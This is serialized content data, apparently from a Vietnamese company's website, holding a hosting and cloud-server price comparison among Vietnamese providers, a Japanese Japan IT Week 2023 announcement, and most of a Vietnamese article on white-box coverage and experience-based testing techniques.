VNĐ\u002FTháng)",[401,13100,13101],{"align":12298},"49.000",[401,13103,13104],{"align":12298},"149.000",[401,13106,13107],{"align":12298},"409.000",[377,13109,13110,13113,13115,13117],{},[401,13111,13112],{},"Website",[401,13114,403],{"align":12298},[401,13116,414],{"align":12298},[401,13118,457],{"align":12298},[377,13120,13121,13124,13127,13130],{},[401,13122,13123],{},"Dung lượng đám mây",[401,13125,13126],{"align":12298},"1000 MB",[401,13128,13129],{"align":12298},"5500MB",[401,13131,13132],{"align":12298},"15000MB",[377,13134,13135,13137,13140,13142],{},[401,13136,12359],{},[401,13138,13139],{"align":12298},"15GB",[401,13141,12362],{"align":12298},[401,13143,12362],{"align":12298},[377,13145,13146,13148,13151,13153],{},[401,13147,12383],{},[401,13149,13150],{"align":12298},"0",[401,13152,403],{"align":12298},[401,13154,446],{"align":12298},[377,13156,13157,13160,13162,13164],{},[401,13158,13159],{},"Park\u002FSub Domain",[401,13161,425],{"align":12298},[401,13163,12362],{"align":12298},[401,13165,12362],{"align":12298},[377,13167,13168,13171,13173,13175],{},[401,13169,13170],{},"FTP Account",[401,13172,12362],{"align":12298},[401,13174,12362],{"align":12298},[401,13176,12362],{"align":12298},[377,13178,13179,13182,13184,13186],{},[401,13180,13181],{},"SQL Server",[401,13183,403],{"align":12298},[401,13185,446],{"align":12298},[401,13187,12419],{"align":12298},[377,13189,13190,13193,13195,13197],{},[401,13191,13192],{},"My SQL",[401,13194,13150],{"align":12298},[401,13196,403],{"align":12298},[401,13198,403],{"align":12298},[377,13200,13201,13204,13206,13208],{},[401,13202,13203],{},"ASP.NET 3.x\u002F PHP Version nhiều phiên bản (5.6 - 7.3)",[401,13205,12431],{"align":12298},[401,13207,12431],{"align":12298},[401,13209,12431],{"align":12298},[377,13211,13212,13214,13216,13218],{},[401,13213,12440],{},[401,13215,12443],{"align":12298},[401,13217,12431],{"align":12298},[401,13219,12431],{"align":12298},[377,13221,13222,13224,13226,13228],{},[401,13223,12614],{},[401,13225,12431],{"align":12298},[401,13227,12431],{"align":12298},[401,13229,12431],{"align":12298},[490,13231,13233],{"id":13232},"web-server","Web Server",[657,13235,13237],{"id":13236},"web-server-basic","Web server basic",[371,13239,13240,13259],{},[374,13241,13242],{},[377,13243,13244,13246,13251,13255],{},[380,13245,64],{},[380,13247,13248],{"align":12298},[20,13249,13250],{},"PA Viet Nam",[380,13252,13253],{"align":12298},[20,13254,12148],{},[380,13256,13257],{"align":12298},[20,13258,12181],{},[396,13260,13261,13274,13286,13299,13312,13325,13336],{},[377,13262,13263,13265,13268,13271],{},[401,13264,12317],{},[401,13266,13267],{"align":12298},"SERVER DELL R340",[401,13269,13270],{"align":12298},"Tera Plus1",[401,13272,13273],{"align":12298},"Liên hệ",[377,13275,13276,13278,13281,13284],{},[401,13277,12331],{},[401,13279,13280],{"align":12298},"4.947.000",[401,13282,13283],{"align":12298},"10.880.000",[401,13285,13273],{"align":12298},[377,13287,13288,13291,13294,13297],{},[401,13289,13290],{},"CPU",[401,13292,13293],{"align":12298},"Intel Xeon E-2234 Processor 8M Cache, 3.60 GHz",[401,13295,13296],{"align":12298},"Intel® Quad Core Xeon E5410 (2.33Ghz 12MB Cache, 1333)",[401,13298,13273],{"align":12298},[377,13300,13301,13304,13307,13310],{},[401,13302,13303],{},"RAM",[401,13305,13306],{"align":12298},"2x8GB",[401,13308,13309],{"align":12298},"2x2GB",[401,13311,13273],{"align":12298},[377,13313,13314,13317,13320,13323],{},[401,13315,13316],{},"HDD",[401,13318,13319],{"align":12298},"SSD 480G 2.5",[401,13321,13322],{"align":12298},"2 x 320GB",[401,13324,13273],{"align":12298},[377,13326,13327,13329,13331,13334],{},[401,13328,12887],{},[401,13330,12919],{"align":12298},[401,13332,13333],{"align":12298},"1Gbps",[401,13335,13273],{"align":12298},[377,13337,13338,13341,13344,13347],{},[401,13339,13340],{},"Băng thông quốc tế (Up\u002FDown)",[401,13342,13343],{"align":12298},"20Mbps 15 Mbps",[401,13345,13346],{"align":12298},"10Mbps 5Mbps",[401,13348,13273],{"align":12298},[657,13350,13352],{"id":13351},"web-server-premium","Web server Premium",[371,13354,13355,13373],{},[374,13356,13357],{},[377,13358,13359,13361,13365,13369],{},[380,13360,64],{},[380,13362,13363],{"align":12298},[20,13364,13250],{},[380,13366,13367],{"align":12298},[20,13368,12148],{},[380,13370,13371],{"align":12298},[20,13372,12181],{},[396,13374,13375,13387,13399,13411,13423,13433,13443],{},[377,13376,13377,13379,13382,13385],{},[401,13378,12317],{},[401,13380,13381],{"align":12298},"SILVER GOLD SERIAL",[401,13383,13384],{"align":12298},"Tera-PLUS3",[401,13386,13273],{"align":12298},[377,13388,13389,13391,13394,13397],{},[401,13390,12331],{},[401,13392,13393],{"align":12298},"5.200.000",[401,13395,13396],{"align":12298},"6.800.000",[401,13398,13273],{"align":12298},[377,13400,13401,13403,13406,13409],{},[401,13402,13290],{},[401,13404,13405],{"align":12298},"Intel Xeon Silver 4110, 2.10 GHz, 11M Cache, 8 Cores, 16 Threads",[401,13407,13408],{"align":12298},"Intel® Xeon® Westmere Quad Core E5620 (2.4Ghz 12MB Cache, QPI 5.86 GT\u002Fsec)",[401,13410,13273],{"align":12298},[377,13412,13413,13415,13418,13421],{},[401,13414,13303],{},[401,13416,13417],{"align":12298},"2x8 GB",[401,13419,13420],{"align":12298},"2x2 GB",[401,13422,13273],{"align":12298},[377,13424,13425,13427,13429,13431],{},[401,13426,13316],{},[401,13428,13319],{"align":12298},[401,13430,13322],{"align":12298},[401,13432,13273],{"align":12298},[377,13434,13435,13437,13439,13441],{},[401,13436,12887],{},[401,13438,12919],{"align":12298},[401,13440,13333],{"align":12298},[401,13442,13273],{"align":12298},[377,13444,13445,13448,13450,13453],{},[401,13446,13447],{},"Băng thông quốc tế",[401,13449,13343],{"align":12298},[401,13451,13452],{"align":12298},"30 Mbps 5 Mbps",[401,13454,13273],{"align":12298},[490,13456,13458],{"id":13457},"cloud-server","Cloud Server",[498,13460,13462],{"id":13461},"bảng-giá-hosting-cloud-windows","Bảng giá hosting cloud windows",[657,13464,13466],{"id":13465},"cloud-server-basic","Cloud server basic",[371,13468,13469,13488],{},[374,13470,13471],{},[377,13472,13473,13475,13479,13483],{},[380,13474],{},[380,13476,13477],{"align":12298},[20,13478,12148],{},[380,13480,13481],{"align":12298},[20,13482,12310],{},[380,13484,64,13485],{"align":12298},[20,13486,13487],{},"MẮT BÃO",[396,13489,13490,13503,13517,13529,13540,13554,13565,13575,13587],{},[377,13491,13492,13494,13497,13500],{},[401,13493,12317],{},[401,13495,13496],{"align":12298},"MEDIUM 4",[401,13498,13499],{"align":12298},"CLOUD SERVER 2  SSD",[401,13501,13502],{"align":12298},"CS3",[377,13504,13505,13508,13511,13514],{},[401,13506,13507],{},"Giá(VNĐ\u002F Tháng )",[401,13509,13510],{"align":12298},"1.200.000 (699.000)",[401,13512,13513],{"align":12298},"550.000",[401,13515,13516],{"align":12298},"1.489.000",[377,13518,13519,13521,13524,13526],{},[401,13520,13290],{},[401,13522,13523],{"align":12298},"2 vCPU",[401,13525,13523],{"align":12298},[401,13527,13528],{"align":12298},"3vCPU",[377,13530,13531,13533,13536,13538],{},[401,13532,13303],{},[401,13534,13535],{"align":12298},"2 GB",[401,13537,13535],{"align":12298},[401,13539,457],{"align":12298},[377,13541,13542,13545,13548,13551],{},[401,13543,13544],{},"Ổ cứng",[401,13546,13547],{"align":12298},"SSD 40 GB",[401,13549,13550],{"align":12298},"40 GB HDD",[401,13552,13553],{"align":12298},"SSD 80 GB",[377,13555,13556,13558,13561,13563],{},[401,13557,12887],{},[401,13559,13560],{"align":12298},"100Mbps",[401,13562,13560],{"align":12298},[401,13564,12362],{"align":12298},[377,13566,13567,13569,13571,13573],{},[401,13568,12359],{},[401,13570,12362],{"align":12298},[401,13572,12362],{"align":12298},[401,13574,12362],{"align":12298},[377,13576,13577,13580,13582,13585],{},[401,13578,13579],{},"Tường lửa",[401,13581,12431],{"align":12298},[401,13583,13584],{"align":12298},"X",[401,13586,13584],{"align":12298},[377,13588,13589,13592,13594,13596],{},[401,13590,13591],{},"Cân bằng tải",[401,13593,12431],{"align":12298},[401,13595,13584],{"align":12298},[401,13597,13584],{"align":12298},[657,13599,13601],{"id":13600},"cloud-server-premium","Cloud server Premium",[371,13603,13604,13622],{},[374,13605,13606],{},[377,13607,13608,13610,13614,13618],{},[380,13609],{},[380,13611,13612],{"align":12298},[20,13613,12148],{},[380,13615,13616],{"align":12298},[20,13617,12310],{},[380,13619,13620],{"align":12298},[20,13621,13487],{},[396,13623,13624,13637,13651,13664,13677,13690,13700,13710,13720],{},[377,13625,13626,13628,13631,13634],{},[401,13627,12317],{},[401,13629,13630],{"align":12298},"LARG 8",[401,13632,13633],{"align":12298},"HIGH MEMORY 16x",[401,13635,13636],{"align":12298},"CS6",[377,13638,13639,13642,13645,13648],{},[401,13640,13641],{},"Giá (VNĐ \u002F Tháng )",[401,13643,13644],{"align":12298},"2.360.000 (1.288.000)",[401,13646,13647],{"align":12298},"2.500.000",[401,13649,13650],{"align":12298},"2.149.000",[377,13652,13653,13655,13658,13661],{},[401,13654,13290],{},[401,13656,13657],{"align":12298},"4 vCPU",[401,13659,13660],{"align":12298},"8 vCPU",[401,13662,13663],{"align":12298},"6v CPU",[377,13665,13666,13668,13671,13674],{},[401,13667,13303],{},[401,13669,13670],{"align":12298},"8 GB",[401,13672,13673],{"align":12298},"16 GB",[401,13675,13676],{"align":12298},"8GB",[377,13678,13679,13681,13684,13687],{},[401,13680,13544],{},[401,13682,13683],{"align":12298},"SSD 100 GB",[401,13685,13686],{"align":12298},"150 GB HDD",[401,13688,13689],{"align":12298},"SSD 120 GB",[377,13691,13692,13694,13696,13698],{},[401,13693,12887],{},[401,13695,13560],{"align":12298},[401,13697,13560],{"align":12298},[401,13699,12919],{"align":12298},[377,13701,13702,13704,13706,13708],{},[401,13703,12359],{},[401,13705,12362],{"align":12298},[401,13707,12362],{"align":12298},[401,13709,12362],{"align":12298},[377,13711,13712,13714,13716,13718],{},[401,13713,13579],{},[401,13715,12431],{"align":12298},[401,13717,13584],{"align":12298},[401,13719,13584],{"align":12298},[377,13721,13722,13724,13726,13728],{},[401,13723,13591],{},[401,13725,12431],{"align":12298},[401,13727,13584],{"align":12298},[401,13729,13584],{"align":12298},[657,13731,13733],{"id":13732},"cloud-server-super","Cloud server Super",[371,13735,13736,13754],{},[374,13737,13738],{},[377,13739,13740,13742,13746,13750],{},[380,13741],{},[380,13743,13744],{"align":12298},[20,13745,12148],{},[380,13747,13748],{"align":12298},[20,13749,12310],{},[380,13751,13752],{"align":12298},[20,13753,13487],{},[396,13755,13756,13769,13781,13793,13804,13817,13827,13837,13847],{},[377,13757,13758,13760,13763,13766],{},[401,13759,12317],{},[401,13761,13762],{"align":12298},"EXTRA 16",[401,13764,13765],{"align":12298},"HIGH MEMORY 32x",[401,13767,13768],{"align":12298},"CS8",[377,13770,13771,13773,13776,13778],{},[401,13772,12331],{},[401,13774,13775],{"align":12298},"5.270.000 (3.800.000)",[401,13777,13647],{"align":12298},[401,13779,13780],{"align":12298},"2.949.000",[377,13782,13783,13785,13787,13790],{},[401,13784,13290],{},[401,13786,13660],{"align":12298},[401,13788,13789],{"align":12298},"16 vCPU",[401,13791,13792],{"align":12298},"8v CPU",[377,13794,13795,13797,13799,13802],{},[401,13796,13303],{},[401,13798,13673],{"align":12298},[401,13800,13801],{"align":12298},"32 GB",[401,13803,12687],{"align":12298},[377,13805,13806,13808,13811,13814],{},[401,13807,13544],{},[401,13809,13810],{"align":12298},"SSD 500 GB",[401,13812,13813],{"align":12298},"300 GB HDD",[401,13815,13816],{"align":12298},"SSD 160 GB",[377,13818,13819,13821,13823,13825],{},[401,13820,12887],{},[401,13822,13560],{"align":12298},[401,13824,13560],{"align":12298},[401,13826,12919],{"align":12298},[377,13828,13829,13831,13833,13835],{},[401,13830,12359],{},[401,13832,12362],{"align":12298},[401,13834,12362],{"align":12298},[401,13836,12362],{"align":12298},[377,13838,13839,13841,13843,13845],{},[401,13840,13579],{},[401,13842,12431],{"align":12298},[401,13844,13584],{"align":12298},[401,13846,13584],{"align":12298},[377,13848,13849,13851,13853,13855],{},[401,13850,13591],{},[401,13852,12431],{"align":12298},[401,13854,13584],{"align":12298},[401,13856,13584],{"align":12298},[490,13858,5654],{"id":1802},[11,13860,13861,13862],{},"FPT : ",[58,13863,13864],{"href":13864,"rel":13865},"https:\u002F\u002Fdata.fpt.vn\u002Fvi\u002Ftrang-chu.html",[62],[11,13867,13868,13869],{},"PA VIỆT NAM : ",[58,13870,13871],{"href":13871,"rel":13872},"https:\u002F\u002Fwww.pavietnam.vn\u002Fvn\u002Fhosting.html",[62],[11,13874,13875,13876],{},"MẮT BÃO : ",[58,13877,13878],{"href":13878,"rel":13879},"https:\u002F\u002Fwww.matbao.net\u002F",[62],[11,13881,13882,13883],{},"VIETTEL : ",[58,13884,13885],{"href":13885,"rel":13886},"https:\u002F\u002Fwww.viettelidc.com.vn\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":13888},[13889,13890,13891,13895,13899,13903,13910,13911,13912,13913,13917],{"id":12113,"depth":67,"text":12114},{"id":12123,"depth":67,"text":12124},{"id":12143,"depth":67,"text":12148,"children":13892},[13893,13894],{"id":12151,"depth":1417,"text":12114},{"id":12168,"depth":1417,"text":12124},{"id":12176,"depth":67,"text":12181,"children":13896},[13897,13898],{"id":12184,"depth":1417,"text":12114},{"id":12200,"depth":1417,"text":12124},{"id":12208,"depth":67,"text":12213,"children":13900},[13901,13902],{"id":12216,"depth":1417,"text":12114},{"id":12232,"depth":1417,"text":12124},{"id":12243,"depth":67,"text":12248,"children":13904},[13905,13906,13907,13908,13909],{"id":12251,"depth":1417,"text":12114},{"id":12274,"depth":1417,"text":12124},{"id":12286,"depth":1417,"text":12287},{"id":12466,"depth":1417,"text":12467},{"id":12626,"depth":1417,"text":12627},{"id":13018,"depth":67,"text":13019},{"id":13051,"depth":67,"text":13052},{"id":13062,"depth":67,"text":13063},{"id":13066,"depth":67,"text":13067,"children":13914},[13915,13916],{"id":13236,"depth":1417,"text":13237},{"id":13351,"depth":1417,"text":13352},{"id":13461,"depth":67,"text":13462,"children":13918},[13919,13920,13921],{"id":13465,"depth":1417,"text":13466},{"id":13600,"depth":1417,"text":13601},{"id":13732,"depth":1417,"text":13733},"2021-03-03","Hosting là gì Hosting (hay web hosting) là một dịch vụ online giúp bạn xuất bản website hoặc ứng dụng web lên Internet. Khi bạn đăng ký dịch vụ hosting, tức là bạn thuê mộ chỗ đặt trên server chứa tất cả các files và dữ liệu cần thiết để website của bạn chạy được.",{},"\u002Fvi\u002Fnews\u002Fhosting-vietnam-2021",{"title":12094,"description":13923},"vi\u002Fnews\u002Fhosting-vietnam-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F01135754\u002F355bc43f87f974a72de8.jpg","2pi9gwvm2_I7e-7gwu4LsbHX4NZT0QLiAyjD-SXaNZg",{"id":13931,"title":13932,"body":13933,"category":69,"created by":70,"date":13956,"description":13937,"extension":72,"meta":13957,"navigation":74,"path":13958,"sections":76,"seo":13959,"stem":13960,"thumbnail":13961,"__hash__":13962},"content_vi\u002Fvi\u002Fnews\u002Fjapan-it-week-2023.md","Japan IT Weekでお待ちしております！！",{"type":8,"value":13934,"toc":13954},[13935,13938,13941,13944,13947],[11,13936,13937],{},"Japan IT Week(2023\u002F10\u002F25(水) ~ 27(金))に参加します。 弊社ではAI画像解析、AIアナログメーター読み取り、AWS導入コンサルティング、受発注管理、その他請負型システム開発のサービスをご提供しております。",[11,13939,13940],{},"有名なクラウドサービスを導入してみたが上手くいかない。対応のスピード感がないとかご相談を受けることがよくあります。 お困りごとがあれば、是非一度弊社にブースでご相談を頂ければと思います。",[11,13942,13943],{},"ご予約頂けますと、スムーズなご案内ができます。",[11,13945,13946],{},"詳しくは下記のリンクをご参照頂きたいです。",[11,13948,13949],{},[58,13950,13953],{"href":13951,"rel":13952,"title":13953},"https:\u002F\u002Ftech.briswell.com\u002Fentry\u002F2023\u002F10\u002F18\u002F140442?src=yktw",[62],"2023.10.25（水）〜27（金）@幕張メッセ JAPAN IT WEEK 【ブース番号：52-46】",{"title":66,"searchDepth":67,"depth":67,"links":13955},[],"2023-10-19",{},"\u002Fvi\u002Fnews\u002Fjapan-it-week-2023",{"title":13932,"description":13937},"vi\u002Fnews\u002Fjapan-it-week-2023","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002Flogo_itweek.png","QwLcvSyNzLL9VFzZhk3UNrtY2eTfcpF6mhIR6FrWsCQ",{"id":13964,"title":13965,"body":13966,"category":356,"created by":70,"date":14163,"description":14164,"extension":72,"meta":14165,"navigation":74,"path":14166,"sections":76,"seo":14167,"stem":14168,"thumbnail":14169,"__hash__":14170},"content_vi\u002Fvi\u002Fnews\u002Fkiem-thu-hop-trang-va-kiem-thu-dua-tren-kinh-nghiem.md","KIỂM THỬ HỘP TRẮNG VÀ KIỂM THỬ DỰA TRÊN KINH NGHIỆM",{"type":8,"value":13967,"toc":14161},[13968,13973,13976,13979,13984,13987,13990,13995,13998,14001,14004,14007,14013,14016,14024,14027,14032,14035,14038,14041,14044,14049,14052,14055,14058,14063,14066,14077,14080,14083,14094,14097,14102,14105,14108,14116,14119,14122,14125,14130,14133,14136,14144,14147,14150,14155],[11,13969,13970],{},[20,13971,13972],{},"①Kiểm thử hộp trắng (White box Testing)",[11,13974,13975],{},"Kiểm thử hộp trắng là một phương pháp kiểm thử được thực hiện dựa trên cấu trúc bên trong của hệ thống hoặc mã nguồn. Phương pháp này có thể được áp dụng ở mọi cấp độ kiểm thử, nhưng thường được sử dụng nhiều nhất trong kiểm thử thành phần (component testing), tập trung vào hai kỹ thuật dựa vào mã nguồn. Các kỹ thuật này phân loại dựa trên yếu tố chi tiết chú trọng trong mã nguồn.",[11,13977,13978],{},"Một phần quan trọng của kiểm thử hộp trắng là đo lường mức độ thực thi các yếu tố được chú trọng, được gọi là \"độ bao phủ\" (coverage) hay độ bao phủ mã nguồn (code coverage).",[11,13980,13981],{},[20,13982,13983],{},"Kiểm thử câu lệnh (Statement Testing) và Độ bao phủ (Coverage)",[11,13985,13986],{},"Trong kiểm thử câu lệnh (statement testing), các trường hợp kiểm thử được thiết kế để kiểm tra các câu lệnh thực thi trong mã nguồn. Bao phủ đo lường trong loại kiểm thử này được gọi là \"bao phủ câu lệnh\" (statement coverage) và được tính toán bằng công thức sau:",[11,13988,13989],{},"Bao phủ câu lệnh (%) = (Số câu lệnh đã thực thi \u002F Tổng số câu lệnh trong mã cần kiểm thử) × 100",[11,13991,13992],{},[20,13993,13994],{},"Kiểm thử quyết định (Decision Testing) và Độ bao phủ (Coverage)",[11,13996,13997],{},"Kiểm thử quyết định (Decision Testing) là một kỹ thuật thiết kế trường hợp kiểm thử dựa trên các điều kiện phân nhánh trong mã nguồn và kết quả của chúng. Các điều kiện phân nhánh được thể hiện khác nhau tùy vào ngôn ngữ lập trình, với các ví dụ điển hình bao gồm câu lệnh if-else, switch-case, và do-while.",[11,13999,14000],{},"Bao phủ đo lường trong loại kiểm thử này được gọi là \"bao phủ quyết định\" (Decision Coverage), được tính toán bằng công thức sau:",[11,14002,14003],{},"Bao phủ quyết định (%) = (Số kết quả phân nhánh đã thực thi \u002F Tổng số kết quả phân nhánh) × 100",[11,14005,14006],{},"Giống như bao phủ câu lệnh (Statement Coverage) đã đề cập trước đó, chúng ta sẽ sử dụng một đoạn code ví dụ dưới đây để giải thích cách tính Độ bao phủ quyết định.",[696,14008,14011],{"className":14009,"code":14010,"language":701},[699],"public void foo(int x) {\n\n    if (x != 0) {\n\n        x = 1 \u002F x;\n\n    }\n\n}\n",[703,14012,14010],{"__ignoreMap":66},[11,14014,14015],{},"Để đạt được Độ bao phủ quyết định 100%, cần đảm bảo rằng cả hai kết quả phân nhánh của câu lệnh if (đúng và sai) đều được thực thi trong quá trình kiểm thử. Trong ví dụ này, đối với biến x, cần thiết kế hai trường hợp kiểm thử như sau:",[201,14017,14018,14021],{},[34,14019,14020],{},"Khi x bằng 0 (kết quả là sai).",[34,14022,14023],{},"Khi x không bằng 0 (kết quả là đúng).",[11,14025,14026],{},"Cả hai trường hợp này phải được kiểm tra để đảm bảo rằng mọi nhánh phân quyết trong mã nguồn đều được thực thi ít nhất một lần.",[11,14028,14029],{},[20,14030,14031],{},"Tầm quan trọng của Kiểm thử câu lệnh (Statement Testing) và Kiểm thử quyết định (Decision Testing)",[11,14033,14034],{},"Kiểm thử câu lệnh (Statement Testing) và kiểm thử quyết định (Decision Testing) đều có giá trị riêng. Nếu đạt được bao phủ quyết định 100% thì bao phủ câu lệnh cũng sẽ đạt 100%. Tuy nhiên, điều ngược lại không phải lúc nào cũng đúng. Sự khác biệt này sẽ trở nên rõ ràng khi xem xét các ví dụ cụ thể.",[11,14036,14037],{},"Ví dụ, nếu một câu lệnh if không có câu lệnh else, nghĩa là không có câu lệnh rõ ràng nào để xử lý điều kiện sai, thì các trường hợp kiểm thử cần thiết của kiểm thử câu lệnh và kiểm thử quyết định sẽ khác nhau. Điều này xảy ra vì hai phương pháp đánh giá mã nguồn từ các quan điểm khác nhau.",[11,14039,14040],{},"Kiểm thử câu lệnh nhằm xác nhận rằng các câu lệnh thực thi trong mã hoạt động như mong đợi và không gây ra kết quả không mong muốn trong quá trình thực thi. Ngược lại, kiểm thử quyết định đảm bảo rằng cả hai kết quả của điều kiện phân nhánh (đúng và sai) đều được kiểm tra và có thể phát hiện các hành vi không mong muốn xảy ra trong từng trường hợp.",[11,14042,14043],{},"Tuy nhiên, khi thiết kế các trường hợp kiểm thử dựa trên mã nguồn, nếu mã nguồn có lỗi, thì kết quả mong đợi được xác định trong kiểm thử cũng có thể sai. Để giải quyết vấn đề này, ngay cả khi thực hiện kiểm thử hộp trắng, cũng cần tham khảo tài liệu đặc tả để xác định kết quả mong đợi.",[11,14045,14046],{},[20,14047,14048],{},"②Kiểm thử dựa trên kinh nghiệm",[11,14050,14051],{},"Kỹ thuật kiểm thử dựa trên kinh nghiệm là phương pháp thiết kế các trường hợp kiểm thử dựa trên kỹ năng, trực giác, cũng như kinh nghiệm của người kiểm thử về các ứng dụng hoặc công nghệ tương tự trước đây. Phương pháp này thường được sử dụng kết hợp với các kỹ thuật Kiểm thử hộp đen và Kiểm thử hộp trắng.",[11,14053,14054],{},"Ví dụ, việc kiểm thử các yêu cầu liên quan đến \"yêu cầu ngầm định\" không được ghi rõ trong tài liệu đặc tả có thể gặp khó khăn nếu chỉ sử dụng các kỹ thuật Kiểm thử hộp đen. Các \"yêu cầu ngầm định\" này thường là các khu vực dễ phát sinh lỗi do không được nêu rõ, và kỹ thuật kiểm thử dựa trên kinh nghiệm rất hiệu quả trong việc phát hiện những lỗi như vậy.",[11,14056,14057],{},"Tuy nhiên, kỹ thuật này cũng có một số thách thức. Kiểm thử dựa trên kinh nghiệm phụ thuộc nhiều vào cách làm việc và kinh nghiệm trước đó của người thực hiện, dẫn đến hiệu quả kiểm thử không đồng nhất. Ngoài ra, mức độ bao phủ kiểm thử (test coverage) cũng có thể khác nhau giữa các cá nhân. Việc đo lường bao phủ trong trường hợp này cũng rất khó khăn, dẫn đến khó đánh giá hiệu quả kiểm thử dựa trên độ bao phủ.",[11,14059,14060],{},[20,14061,14062],{},"Dự đoán lỗi (Error Guessing)",[11,14064,14065],{},"Dự đoán lỗi là một phương pháp kiểm thử dựa trên kiến thức của người kiểm thử để dự đoán khả năng xảy ra lỗi, khuyết điểm hoặc sự cố trong hệ thống. Kiến thức này có thể bao gồm các yếu tố sau:",[31,14067,14068,14071,14074],{},[34,14069,14070],{},"Hành vi và lịch sử hoạt động trước đây của ứng dụng",[34,14072,14073],{},"Các xu hướng sai sót phổ biến mà nhà phát triển dễ mắc phải",[34,14075,14076],{},"Các sự cố đã xảy ra ở các ứng dụng khác",[11,14078,14079],{},"Những kiến thức này được tích lũy qua kinh nghiệm của người kiểm thử và do đó, có giới hạn tùy thuộc vào kiến thức và kinh nghiệm của từng cá nhân. Do đó, để giảm thiểu rủi ro của các lỗi, khuyết điểm và sự cố có thể xảy ra, việc lập danh sách các rủi ro này và thiết kế các trường hợp kiểm thử dựa trên danh sách đó là điều nên làm. Khi danh sách này được chia sẻ giữa các người kiểm thử, kiểm thử có thể trở nên ít phụ thuộc vào kỹ năng cá nhân, và khi được chia sẻ với nhà phát triển, giúp ngăn ngừa các khuyết điểm từ sớm trong quá trình thiết kế và triển khai.",[11,14081,14082],{},"Một số ví dụ điển hình khi dự đoán lỗi bao gồm:",[31,14084,14085,14088,14091],{},[34,14086,14087],{},"Giá trị 0: Khi thực hiện phép chia cho 0, sẽ phát sinh lỗi ngoại lệ.",[34,14089,14090],{},"Giá trị Null: Khi tham chiếu tới giá trị null, sẽ phát sinh lỗi ngoại lệ.",[34,14092,14093],{},"Năm nhuận (Ngày 29 tháng 2): Vấn đề liên quan đến ngày tháng đặc biệt.",[11,14095,14096],{},"Những trường hợp kiểm thử này có xu hướng dễ fail dựa trên kinh nghiệm, và cũng có những mẫu dự đoán lỗi điển hình liên quan đến thứ tự thao tác, thời gian thực hiện hoặc đặc điểm của đối tượng kiểm thử.",[11,14098,14099],{},[20,14100,14101],{},"Kiểm thử khám phá (Exploratory Testing)",[11,14103,14104],{},"Kiểm thử khám phá là phương pháp kiểm thử trong đó người kiểm thử tiến hành thiết kế, thực hiện, ghi chép nhật ký, đánh giá lại và cải thiện quy trình kiểm thử khi họ học hỏi về hệ thống. Trong phương pháp này, không có các trường hợp kiểm thử được tạo trước, mà người kiểm thử tìm hiểu sâu hơn về đối tượng kiểm thử trong quá trình thực hiện kiểm thử. Khác với các phương pháp chính thức, kiểm thử khám phá không phụ thuộc vào các trường hợp kiểm thử đã được lập kế hoạch trước, nhưng có thể được thực hiện dựa trên một số tiêu chí nhất định. Tuy nhiên, phương pháp này không phải là một cách tiếp cận có hệ thống, và người kiểm thử sẽ thực hiện kiểm thử dựa trên \"test charter\" - một tài liệu hướng dẫn cho quá trình kiểm thử và có thể thay thế cho việc tạo các trường hợp kiểm thử chính thức.",[11,14106,14107],{},"Kiểm thử theo phiên (Session-Based Testing) có các đặc điểm sau:",[31,14109,14110,14113],{},[34,14111,14112],{},"Thực hiện kiểm thử trong một khoảng thời gian cố định (phiên).",[34,14114,14115],{},"Ghi chép lại các bước đã thực hiện và các sự kiện đã phát hiện trong nhật ký kiểm thử.",[11,14117,14118],{},"Kiểm thử khám phá đặc biệt hiệu quả khi tài liệu đặc tả không đầy đủ và không thể tạo các trường hợp kiểm thử trước, hoặc khi không có nhiều thời gian trong kế hoạch. Phương pháp này cho phép thiết kế và thực hiện kiểm thử đồng thời, giúp tiết kiệm thời gian và nâng cao hiệu quả kiểm thử.",[11,14120,14121],{},"Ngoài ra, kiểm thử khám phá cũng có thể bổ sung cho các phương pháp kiểm thử chính thức. Sau khi thực hiện kiểm thử chính thức hoặc trong khi thực hiện song song, kiểm thử khám phá có thể giúp phát hiện các lỗi do thiếu sót trong đặc tả hoặc do sai sót trong việc thiết kế đặc tả. Tuy nhiên, nếu kiểm thử khám phá phát hiện ra lỗi mà lẽ ra phải được phát hiện trong các kiểm thử chính thức, có thể là một dấu hiệu cho thấy quy trình kiểm thử đang gặp vấn đề.",[11,14123,14124],{},"Thêm vào đó, khi đặc tả không rõ ràng, người kiểm thử cần phải dự đoán khi thực hiện kiểm thử khám phá, điều này phụ thuộc vào kỹ năng và kinh nghiệm của người kiểm thử. Kiểm thử khám phá rất hiệu quả trong việc phát hiện các lỗi nghiêm trọng, nhưng sự khác biệt về kỹ năng và kinh nghiệm giữa những người kiểm thử có thể ảnh hưởng đến kết quả kiểm thử.",[11,14126,14127],{},[20,14128,14129],{},"Kiểm thử dựa trên danh sách kiểm tra (Checklist-Based Testing)",[11,14131,14132],{},"Trong kiểm thử dựa trên danh sách kiểm tra, danh sách kiểm tra được sử dụng để thiết kế các trường hợp kiểm thử. Danh sách kiểm tra liệt kê các điều kiện kiểm thử và ở Nhật Bản, thường được gọi là \"quan điểm kiểm thử\", được lập thành danh sách và sử dụng trong thiết kế kiểm thử. Danh sách kiểm tra cần được tạo ra phù hợp với đối tượng kiểm thử. Có thể tạo mới từ đầu hoặc sử dụng danh sách kiểm tra có sẵn và tùy chỉnh lại. Dù là trường hợp nào, danh sách kiểm tra phải được chuẩn bị như một phần của phân tích kiểm thử.",[11,14134,14135],{},"Danh sách kiểm tra được tạo ra dựa trên kinh nghiệm của người kiểm thử, tương tự như phương pháp dự đoán lỗi (Error Guessing). Ngoài ra, các thông tin sau cũng có thể được xem xét:",[31,14137,14138,14141],{},[34,14139,14140],{},"Các yếu tố quan trọng đối với người dùng.",[34,14142,14143],{},"Hiểu biết về lý do và cách thức phần mềm không đạt yêu cầu.",[11,14145,14146],{},"Kiểm thử dựa trên danh sách kiểm tra không chỉ được sử dụng cho kiểm thử chức năng mà còn có thể được áp dụng cho kiểm thử phi chức năng. Kiểm thử phi chức năng thường yêu cầu kiến thức chuyên môn và có thể thiếu rõ ràng trong tài liệu đặc tả, vì vậy kiểm thử dựa trên danh sách kiểm tra thường được sử dụng hiệu quả trong những tình huống này.",[11,14148,14149],{},"Danh sách kiểm tra có thể được viết ở mức độ trừu tượng cao, và từ đó người kiểm thử thiết kế các trường hợp kiểm thử và thực hiện kiểm thử. Trong một số trường hợp, người kiểm thử có thể trực tiếp thực hiện kiểm thử dựa trên danh sách kiểm tra. Phương pháp 